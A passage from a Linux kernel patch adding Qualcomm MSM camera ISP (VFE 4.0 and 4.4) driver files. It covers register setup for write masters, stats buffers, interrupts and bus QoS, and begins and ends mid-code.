plane_cfg->output_plane_format << 8; + } else { + switch (stream_info->output_format) { + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV16: + xbar_cfg |= 0x3 << 4; /*PAIR_STREAM_SWAP_CTRL*/ + break; + } + xbar_cfg |= 0x1 << 1; /*PAIR_STREAM_EN*/ + } + if (stream_info->stream_src == PIX_VIEWFINDER) + xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ + break; + } + case CAMIF_RAW: + xbar_cfg = 0x300; + break; + case IDEAL_RAW: + xbar_cfg = 0x400; + break; + case RDI_INTF_0: + xbar_cfg = 0x500; + break; + case RDI_INTF_1: + xbar_cfg = 0x600; + break; + case RDI_INTF_2: + xbar_cfg = 0x700; + break; + default: + pr_err("%s: Invalid stream src\n", __func__); + break; + } + xbar_reg_cfg = + msm_camera_io_r(vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFFFF << VFE40_XBAR_SHIFT(wm)); + xbar_reg_cfg |= (xbar_cfg << VFE40_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, + vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); + return; +} + +static void msm_vfe40_axi_clear_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_reg_cfg = 0; + + xbar_reg_cfg = + msm_camera_io_r(vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFFFF << VFE40_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, + vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); +} + +static void msm_vfe40_cfg_axi_ub_equal_default( + struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + struct msm_vfe_axi_shared_data *axi_data = + &vfe_dev->axi_data; + uint32_t total_image_size = 0; + uint8_t num_used_wms = 0; + uint32_t prop_size = 0; + uint32_t wm_ub_size; + uint32_t axi_wm_ub; + + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i] > 0) { + num_used_wms++; + total_image_size += axi_data->wm_image_size[i]; + } + } + axi_wm_ub = vfe_dev->vfe_ub_size - VFE40_STATS_SIZE; + + prop_size = axi_wm_ub - + axi_data->hw_info->min_wm_ub * num_used_wms; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i]) { + uint64_t delta = 0; + uint64_t temp = (uint64_t)axi_data->wm_image_size[i] * + (uint64_t)prop_size; + do_div(temp, total_image_size); + delta = temp; + wm_ub_size = axi_data->hw_info->min_wm_ub + delta; + msm_camera_io_w(ub_offset << 16 | (wm_ub_size - 1), + vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); + ub_offset += wm_ub_size; + } else + msm_camera_io_w(0, + vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); + } +} + +static void msm_vfe40_cfg_axi_ub_equal_slicing( + struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t axi_equal_slice_ub = + (vfe_dev->vfe_ub_size - VFE40_STATS_SIZE)/ + (axi_data->hw_info->num_wm - 1); + + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + msm_camera_io_w(ub_offset << 16 | (axi_equal_slice_ub - 1), + vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); + ub_offset += axi_equal_slice_ub; + } +} + +static void msm_vfe40_cfg_axi_ub(struct vfe_device *vfe_dev) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + axi_data->wm_ub_cfg_policy = MSM_WM_UB_CFG_DEFAULT; + if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) + msm_vfe40_cfg_axi_ub_equal_slicing(vfe_dev); + else + msm_vfe40_cfg_axi_ub_equal_default(vfe_dev); +} + +static void msm_vfe40_update_ping_pong_addr( + struct vfe_device *vfe_dev, + uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE40_PING_PONG_BASE(wm_idx, pingpong_status)); +} + +static long msm_vfe40_axi_halt(struct vfe_device *vfe_dev, + uint32_t blocking) +{ + long rc = 0; + /* Keep only restart mask and halt mask*/ + msm_camera_io_w(BIT(31), vfe_dev->vfe_base + 0x28); + msm_camera_io_w(BIT(8), vfe_dev->vfe_base + 0x2C); + /* Clear IRQ Status*/ + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); + msm_camera_io_w(0xFEFFFFFF, vfe_dev->vfe_base + 0x34); + if (blocking) { + init_completion(&vfe_dev->halt_complete); + /* Halt AXI Bus Bridge */ + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); + atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); + rc = wait_for_completion_interruptible_timeout( + &vfe_dev->halt_complete, msecs_to_jiffies(500)); + } else { + /* Halt AXI Bus Bridge */ + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); + } + return rc; +} + +static uint32_t msm_vfe40_get_wm_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 8) & 0x7F; +} + +static void msm_vfe40_get_overflow_mask(uint32_t *overflow_mask) +{ + *overflow_mask = 0x00FFFE7E; +} + +static void msm_vfe40_get_irq_mask(struct vfe_device *vfe_dev, + uint32_t *irq0_mask, uint32_t *irq1_mask) +{ + *irq0_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + *irq1_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); +} + +static void msm_vfe40_restore_irq_mask(struct vfe_device *vfe_dev) +{ + msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask0, + vfe_dev->vfe_base + 0x28); + msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask1, + vfe_dev->vfe_base + 0x2C); +} + +static void msm_vfe40_get_halt_restart_mask(uint32_t *irq0_mask, + uint32_t *irq1_mask) +{ + *irq0_mask = BIT(31); + *irq1_mask = BIT(8); +} + +static int msm_vfe40_get_reg_update(uint32_t irq0_status, + uint32_t irq1_status) +{ + int rc = 0; + if (irq0_status & 0xF0) + rc = 1; + return rc; +} +static uint32_t msm_vfe40_get_comp_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 25) & 0xF; +} + +static uint32_t msm_vfe40_get_pingpong_status( + struct vfe_device *vfe_dev) +{ + return msm_camera_io_r(vfe_dev->vfe_base + 0x268); +} + +static int msm_vfe40_get_stats_idx(enum msm_isp_stats_type stats_type) +{ + switch (stats_type) { + case MSM_ISP_STATS_BE: + return 0; + case MSM_ISP_STATS_BG: + return 1; + case MSM_ISP_STATS_BF: + return 2; + case MSM_ISP_STATS_AWB: + return 3; + case MSM_ISP_STATS_RS: + return 4; + case MSM_ISP_STATS_CS: + return 5; + case MSM_ISP_STATS_IHIST: + return 6; + case MSM_ISP_STATS_BHIST: + return 7; + default: + pr_err("%s: Invalid stats type\n", __func__); + return -EINVAL; + } +} + +static int msm_vfe40_stats_check_streams( + struct msm_vfe_stats_stream *stream_info) +{ + return 0; +} + +static void msm_vfe40_stats_cfg_comp_mask(struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + uint32_t reg_mask, comp_stats_mask; + uint32_t i = 0; + atomic_t *stats_comp; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + + stats_mask = stats_mask & 0xFF; + + if (vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask > + MAX_NUM_STATS_COMP_MASK) { + pr_err("%s: num of comp masks %d exceed max %d\n", + __func__, + vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask, + MAX_NUM_STATS_COMP_MASK); + return; + } + + for (i = 0; + i < vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; i++) { + + reg_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x44); + comp_stats_mask = reg_mask & (STATS_COMP_BIT_MASK << (i*8)); + stats_comp = &stats_data->stats_comp_mask[i]; + + if (enable) { + if (comp_stats_mask) + continue; + + reg_mask |= (stats_mask << (16 + i*8)); + atomic_add(stats_mask, stats_comp); + } else { + /* + * Check if comp mask in reg is valid + * and contains this stat + */ + if (!comp_stats_mask || + !((comp_stats_mask >> (16 + i*8)) & + stats_mask)) + continue; + + atomic_sub(stats_mask, stats_comp); + reg_mask &= ~(stats_mask << (16 + i*8)); + } + ISP_DBG("%s: comp_mask: %x atomic stats[0]: %x %x\n", + __func__, reg_mask, + atomic_read(&stats_data->stats_comp_mask[0]), + atomic_read(&stats_data->stats_comp_mask[1])); + msm_camera_io_w(reg_mask, vfe_dev->vfe_base + 0x44); + vfe_dev->stats_data.stats_mask = reg_mask; + return; + } +} + +static void msm_vfe40_stats_cfg_wm_irq_mask( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (STATS_IDX(stream_info->stream_handle) + 16); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_stats_clear_wm_irq_mask( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (STATS_IDX(stream_info->stream_handle) + 16)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_stats_cfg_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + int stats_idx = STATS_IDX(stream_info->stream_handle); + uint32_t stats_base = VFE40_STATS_BASE(stats_idx); + + /*WR_ADDR_CFG*/ + msm_camera_io_w(stream_info->framedrop_period << 2, + vfe_dev->vfe_base + stats_base + 0x8); + /*WR_IRQ_FRAMEDROP_PATTERN*/ + msm_camera_io_w(stream_info->framedrop_pattern, + vfe_dev->vfe_base + stats_base + 0x10); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(0xFFFFFFFF, + vfe_dev->vfe_base + stats_base + 0x14); +} + +static void msm_vfe40_stats_clear_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t val = 0; + int stats_idx = STATS_IDX(stream_info->stream_handle); + uint32_t stats_base = VFE40_STATS_BASE(stats_idx); + + /*WR_ADDR_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x8); + /*WR_IRQ_FRAMEDROP_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x10); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x14); +} + +static void msm_vfe40_stats_cfg_ub(struct vfe_device *vfe_dev) +{ + int i; + struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; + uint32_t ub_offset = vfe_dev->vfe_ub_size; + uint32_t stats_burst_len = stats_data->stats_burst_len; + + uint32_t ub_size[VFE40_NUM_STATS_TYPE] = { + 64, /*MSM_ISP_STATS_BE*/ + 128, /*MSM_ISP_STATS_BG*/ + 128, /*MSM_ISP_STATS_BF*/ + 16, /*MSM_ISP_STATS_AWB*/ + 8, /*MSM_ISP_STATS_RS*/ + 16, /*MSM_ISP_STATS_CS*/ + 16, /*MSM_ISP_STATS_IHIST*/ + 16, /*MSM_ISP_STATS_BHIST*/ + }; + + for (i = 0; i < VFE40_NUM_STATS_TYPE; i++) { + ub_offset -= ub_size[i]; + msm_camera_io_w(stats_burst_len << 30 | + ub_offset << 16 | (ub_size[i] - 1), + vfe_dev->vfe_base + VFE40_STATS_BASE(i) + 0xC); + } +} + +static void msm_vfe40_stats_enable_module(struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + int i; + uint32_t module_cfg, module_cfg_mask = 0; + + for (i = 0; i < VFE40_NUM_STATS_TYPE; i++) { + if ((stats_mask >> i) & 0x1) { + switch (i) { + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + module_cfg_mask |= 1 << (5 + i); + break; + case 6: + module_cfg_mask |= 1 << 15; + break; + case 7: + module_cfg_mask |= 1 << 18; + break; + default: + pr_err("%s: Invalid stats mask\n", __func__); + return; + } + } + } + + module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x18); + if (enable) + module_cfg |= module_cfg_mask; + else + module_cfg &= ~module_cfg_mask; + msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x18); +} + +static void msm_vfe40_stats_update_ping_pong_addr( + struct vfe_device *vfe_dev, struct msm_vfe_stats_stream *stream_info, + uint32_t pingpong_status, dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + int stats_idx = STATS_IDX(stream_info->stream_handle); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE40_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); +} + +static uint32_t msm_vfe40_stats_get_wm_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 16) & 0xFF; +} + +static uint32_t msm_vfe40_stats_get_comp_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 29) & 0x3; +} + +static uint32_t msm_vfe40_stats_get_frame_id( + struct vfe_device *vfe_dev) +{ + uint32_t session_id; + session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + return vfe_dev->axi_data.frame_id[session_id]; +} + +static int msm_vfe40_get_platform_data(struct vfe_device *vfe_dev) +{ + int rc = 0; + vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_MEM, "vfe"); + if (!vfe_dev->vfe_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->vfe_vbif_mem = platform_get_resource_byname( + vfe_dev->pdev, + IORESOURCE_MEM, "vfe_vbif"); + if (!vfe_dev->vfe_vbif_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_IRQ, "vfe"); + if (!vfe_dev->vfe_irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); + if (IS_ERR(vfe_dev->fs_vfe)) { + pr_err("%s: Regulator get failed %ld\n", __func__, + PTR_ERR(vfe_dev->fs_vfe)); + vfe_dev->fs_vfe = NULL; + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe"); + if (!vfe_dev->iommu_ctx[0]) { + pr_err("%s: cannot get iommu_ctx\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + +vfe_no_resource: + return rc; +} + +static void msm_vfe40_get_error_mask( + uint32_t *error_mask0, uint32_t *error_mask1) +{ + *error_mask0 = 0x00000000; + *error_mask1 = 0x00FFFEFF; +} + +static struct msm_vfe_axi_hardware_info msm_vfe40_axi_hw_info = { + .num_wm = 7, + .num_comp_mask = 3, + .num_rdi = 3, + .num_rdi_master = 3, + .min_wm_ub = 64, +}; + +static struct msm_vfe_stats_hardware_info msm_vfe40_stats_hw_info = { + .stats_capability_mask = + 1 << MSM_ISP_STATS_BE | 1 << MSM_ISP_STATS_BF | + 1 << MSM_ISP_STATS_BG | 1 << MSM_ISP_STATS_BHIST | + 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | + 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS, + .stats_ping_pong_offset = stats_pingpong_offset_map, + .num_stats_type = VFE40_NUM_STATS_TYPE, + .num_stats_comp_mask = 2, +}; + +static struct v4l2_subdev_core_ops msm_vfe40_subdev_core_ops = { + .ioctl = msm_isp_ioctl, + .subscribe_event = msm_isp_subscribe_event, + .unsubscribe_event = msm_isp_unsubscribe_event, +}; + +static struct v4l2_subdev_ops msm_vfe40_subdev_ops = { + .core = &msm_vfe40_subdev_core_ops, +}; + +static struct v4l2_subdev_internal_ops msm_vfe40_internal_ops = { + .open = msm_isp_open_node, + .close = msm_isp_close_node, +}; + +struct msm_vfe_hardware_info vfe40_hw_info = { + .num_iommu_ctx = 1, + .vfe_clk_idx = VFE40_CLK_IDX, + .vfe_ops = { + .irq_ops = { + .read_irq_status = msm_vfe40_read_irq_status, + .process_camif_irq = msm_vfe40_process_camif_irq, + .process_reset_irq = msm_vfe40_process_reset_irq, + .process_halt_irq = msm_vfe40_process_halt_irq, + .process_reset_irq = msm_vfe40_process_reset_irq, + .process_reg_update = msm_vfe40_process_reg_update, + .process_axi_irq = msm_isp_process_axi_irq, + .process_stats_irq = msm_isp_process_stats_irq, + }, + .axi_ops = { + .reload_wm = msm_vfe40_axi_reload_wm, + .enable_wm = msm_vfe40_axi_enable_wm, + .cfg_io_format = msm_vfe40_cfg_io_format, + .cfg_comp_mask = msm_vfe40_axi_cfg_comp_mask, + .clear_comp_mask = msm_vfe40_axi_clear_comp_mask, + .cfg_wm_irq_mask = msm_vfe40_axi_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe40_axi_clear_wm_irq_mask, + .cfg_framedrop = msm_vfe40_cfg_framedrop, + .clear_framedrop = msm_vfe40_clear_framedrop, + .cfg_wm_reg = msm_vfe40_axi_cfg_wm_reg, + .clear_wm_reg = msm_vfe40_axi_clear_wm_reg, + .cfg_wm_xbar_reg = msm_vfe40_axi_cfg_wm_xbar_reg, + .clear_wm_xbar_reg = msm_vfe40_axi_clear_wm_xbar_reg, + .cfg_ub = msm_vfe40_cfg_axi_ub, + .update_ping_pong_addr = + msm_vfe40_update_ping_pong_addr, + .get_comp_mask = msm_vfe40_get_comp_mask, + .get_wm_mask = msm_vfe40_get_wm_mask, + .get_pingpong_status = msm_vfe40_get_pingpong_status, + .halt = msm_vfe40_axi_halt, + }, + .core_ops = { + .reg_update = msm_vfe40_reg_update, + .cfg_camif = msm_vfe40_cfg_camif, + .update_camif_state = msm_vfe40_update_camif_state, + .cfg_rdi_reg = msm_vfe40_cfg_rdi_reg, + .reset_hw = msm_vfe40_reset_hardware, + .init_hw = msm_vfe40_init_hardware, + .init_hw_reg = msm_vfe40_init_hardware_reg, + .release_hw = msm_vfe40_release_hardware, + .get_platform_data = msm_vfe40_get_platform_data, + .get_error_mask = msm_vfe40_get_error_mask, + .get_overflow_mask = msm_vfe40_get_overflow_mask, + .get_irq_mask = msm_vfe40_get_irq_mask, + .restore_irq_mask = msm_vfe40_restore_irq_mask, + .get_halt_restart_mask = + msm_vfe40_get_halt_restart_mask, + .process_error_status = msm_vfe40_process_error_status, + .init_vbif_counters = msm_vfe40_init_vbif_cntrs, + .vbif_clear_counters = msm_vfe40_vbif_clear_cnt, + .vbif_read_counters = msm_vfe40_vbif_read_cnt_epoch, + .get_regupdate_status = msm_vfe40_get_reg_update, + }, + .stats_ops = { + .get_stats_idx = msm_vfe40_get_stats_idx, + .check_streams = msm_vfe40_stats_check_streams, + .cfg_comp_mask = msm_vfe40_stats_cfg_comp_mask, + .cfg_wm_irq_mask = msm_vfe40_stats_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe40_stats_clear_wm_irq_mask, + .cfg_wm_reg = msm_vfe40_stats_cfg_wm_reg, + .clear_wm_reg = msm_vfe40_stats_clear_wm_reg, + .cfg_ub = msm_vfe40_stats_cfg_ub, + .enable_module = msm_vfe40_stats_enable_module, + .update_ping_pong_addr = + msm_vfe40_stats_update_ping_pong_addr, + .get_comp_mask = msm_vfe40_stats_get_comp_mask, + .get_wm_mask = msm_vfe40_stats_get_wm_mask, + .get_frame_id = msm_vfe40_stats_get_frame_id, + .get_pingpong_status = msm_vfe40_get_pingpong_status, + }, + }, + .dmi_reg_offset = 0x918, + .axi_hw_info = &msm_vfe40_axi_hw_info, + .stats_hw_info = &msm_vfe40_stats_hw_info, + .subdev_ops = &msm_vfe40_subdev_ops, + .subdev_internal_ops = &msm_vfe40_internal_ops, +}; +EXPORT_SYMBOL(vfe40_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h new file mode 100644 index 0000000000000..e9b151816a375 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h @@ -0,0 +1,17 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_ISP40_H__ +#define __MSM_ISP40_H__ + +extern struct msm_vfe_hardware_info vfe40_hw_info; +#endif /* __MSM_ISP40_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c new file mode 100644 index 0000000000000..aa60b2afddcda --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c @@ -0,0 +1,1474 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include + +#include "msm_isp44.h" +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_isp_stats_util.h" +#include "msm_isp.h" +#include "msm.h" +#include "msm_camera_io_util.h" + +/*#define CONFIG_MSM_ISP_DBG*/ +#undef CDBG +#ifdef CONFIG_MSM_ISP_DBG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +#define STATS_IDX_BF_SCALE 0 +#define STATS_IDX_BE 1 +#define STATS_IDX_BG 2 +#define STATS_IDX_BF 3 +#define STATS_IDX_AWB 4 +#define STATS_IDX_RS 5 +#define STATS_IDX_CS 6 +#define STATS_IDX_IHIST 7 +#define STATS_IDX_BHIST 8 + +#define VFE44_8084V1_VERSION 0x4000000A + +#define VFE44_BURST_LEN 3 +#define VFE44_STATS_BURST_LEN 2 +#define VFE44_UB_SIZE 2048 +#define VFE44_EQUAL_SLICE_UB 228 +#define VFE44_WM_BASE(idx) (0x6C + 0x24 * idx) +#define VFE44_RDI_BASE(idx) (0x2E8 + 0x4 * idx) +#define VFE44_XBAR_BASE(idx) (0x58 + 0x4 * (idx / 2)) +#define VFE44_XBAR_SHIFT(idx) ((idx%2) ? 16 : 0) +#define VFE44_PING_PONG_BASE(wm, ping_pong) \ + (VFE44_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) + +static uint8_t stats_pingpong_offset_map[] = { + 7, 8, 9, 10, 11, 12, 13, 14, 15}; + +#define SHIFT_BF_SCALE_BIT 1 +#define VFE44_NUM_STATS_COMP 2 +#define VFE44_NUM_STATS_TYPE 9 +#define VFE44_STATS_BASE(idx) \ + ((idx) == STATS_IDX_BF_SCALE ? 0xA0C : (0x168 + 0x18 * (idx-1))) +#define VFE44_STATS_PING_PONG_BASE(idx, ping_pong) \ + (VFE44_STATS_BASE(idx) + 0x4 * \ + (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) + +#define VFE44_VBIF_CLKON 0x4 +#define VFE44_VBIF_IN_RD_LIM_CONF0 0xB0 +#define VFE44_VBIF_IN_RD_LIM_CONF1 0xB4 +#define VFE44_VBIF_IN_RD_LIM_CONF2 0xB8 +#define VFE44_VBIF_IN_WR_LIM_CONF0 0xC0 +#define VFE44_VBIF_IN_WR_LIM_CONF1 0xC4 +#define VFE44_VBIF_IN_WR_LIM_CONF2 0xC8 +#define VFE44_VBIF_OUT_RD_LIM_CONF0 0xD0 +#define VFE44_VBIF_OUT_WR_LIM_CONF0 0xD4 +#define VFE44_VBIF_DDR_OUT_MAX_BURST 0xD8 +#define VFE44_VBIF_OCMEM_OUT_MAX_BURST 0xDC +#define VFE44_VBIF_ARB_CTL 0xF0 +#define VFE44_VBIF_ROUND_ROBIN_QOS_ARB 0x124 +#define VFE44_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 +#define VFE44_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 +#define VFE44_VBIF_OUT_AXI_AOOO_EN 0x178 +#define VFE44_VBIF_OUT_AXI_AOOO 0x17C + +#define VFE44_BUS_BDG_QOS_CFG_0 0x000002C4 +#define VFE44_BUS_BDG_QOS_CFG_1 0x000002C8 +#define VFE44_BUS_BDG_QOS_CFG_2 0x000002CC +#define VFE44_BUS_BDG_QOS_CFG_3 0x000002D0 +#define VFE44_BUS_BDG_QOS_CFG_4 0x000002D4 +#define VFE44_BUS_BDG_QOS_CFG_5 0x000002D8 +#define VFE44_BUS_BDG_QOS_CFG_6 0x000002DC +#define VFE44_BUS_BDG_QOS_CFG_7 0x000002E0 + +#define VFE44_CLK_IDX 2 +static struct msm_cam_clk_info msm_vfe44_clk_info[VFE_CLK_INFO_MAX]; + +static void msm_vfe44_init_qos_parms(struct vfe_device *vfe_dev) +{ + void __iomem *vfebase = vfe_dev->vfe_base; + + if (vfe_dev->vfe_hw_version == VFE44_8084V1_VERSION) { + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_0); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_1); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_2); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_3); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_4); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_5); + msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_6); + msm_camera_io_w(0x0001FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_7); + } else { + BUG(); + pr_err("%s: QOS is NOT configured for HW Version %x\n", + __func__, vfe_dev->vfe_hw_version); + } +} + +static void msm_vfe44_init_vbif_parms_8084_v1(struct vfe_device *vfe_dev) +{ + void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; + msm_camera_io_w(0x1, + vfe_vbif_base + VFE44_VBIF_CLKON); + msm_camera_io_w(0x00100000, + vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF0); + msm_camera_io_w(0x00001000, + vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF1); + msm_camera_io_w(0x10000010, + vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF2); + msm_camera_io_w(0x10000010, + vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF0); + msm_camera_io_w(0x10100000, + vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF1); + msm_camera_io_w(0x00101000, + vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF2); + msm_camera_io_w(0x3, + vfe_vbif_base + VFE44_VBIF_ROUND_ROBIN_QOS_ARB); +} + +static void msm_vfe44_init_vbif_parms(struct vfe_device *vfe_dev) +{ + switch (vfe_dev->vfe_hw_version) { + case VFE44_8084V1_VERSION: + msm_vfe44_init_vbif_parms_8084_v1(vfe_dev); + break; + default: + BUG(); + pr_err("%s: VBIF is NOT configured for HW Version %x\n", + __func__, vfe_dev->vfe_hw_version); + break; + } + +} + +static int msm_vfe44_init_hardware(struct vfe_device *vfe_dev) +{ + int rc = -1; + rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); + if (rc < 0) { + pr_err("%s: Bandwidth registration Failed!\n", __func__); + goto bus_scale_register_failed; + } + + if (vfe_dev->fs_vfe) { + rc = regulator_enable(vfe_dev->fs_vfe); + if (rc) { + pr_err("%s: Regulator enable failed\n", __func__); + goto fs_failed; + } + } + + rc = msm_isp_get_clk_info(vfe_dev, vfe_dev->pdev, msm_vfe44_clk_info); + if (rc < 0) { + pr_err("msm_isp_get_clk_info() failed\n"); + goto fs_failed; + } + + rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 1); + if (rc < 0) + goto clk_enable_failed; + + vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, + resource_size(vfe_dev->vfe_mem)); + if (!vfe_dev->vfe_base) { + rc = -ENOMEM; + pr_err("%s: vfe ioremap failed\n", __func__); + goto vfe_remap_failed; + } + + vfe_dev->vfe_vbif_base = ioremap(vfe_dev->vfe_vbif_mem->start, + resource_size(vfe_dev->vfe_vbif_mem)); + if (!vfe_dev->vfe_vbif_base) { + rc = -ENOMEM; + pr_err("%s: vfe ioremap failed\n", __func__); + goto vbif_remap_failed; + } + + rc = 